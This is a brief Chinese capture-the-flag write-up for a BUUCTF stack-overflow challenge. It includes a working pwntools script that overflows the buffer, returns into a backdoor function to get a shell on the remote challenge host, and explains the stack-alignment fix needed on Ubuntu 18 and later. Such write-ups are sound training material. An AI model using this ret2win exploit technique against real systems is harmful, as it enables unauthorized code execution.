来源BUUCTF

检查安全设置和类型

拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是64位小端序

静态分析

静态分析发现是一个很简单的栈溢出,payload如下,这里主要介绍堆栈平衡的特性(ubuntu18后的新特性):

from pwn import *
context(log_level='debug')

#io=process('pwn1')
io=remote("node5.buuoj.cn",27824)

payload=cyclic(0xf+0x8)+p64(0x401187)  # 直接跳转到后门函数的第二行(第一行地址为0x401186,汇编为push,对堆栈平衡有影响,所以跳到第二行)
#payload=cyclic(0xf+0x8) + p64(0x401185)+p64(0x401186)   先跳到任意一个ret汇编语句,然后跟上后门函数地址(第一行)
遇到ubuntu18及以上的环境时需要考虑堆栈平衡,可以选用以上任意一种方法来平衡

io.sendline(payload)
io.interactive()
⬆︎TOP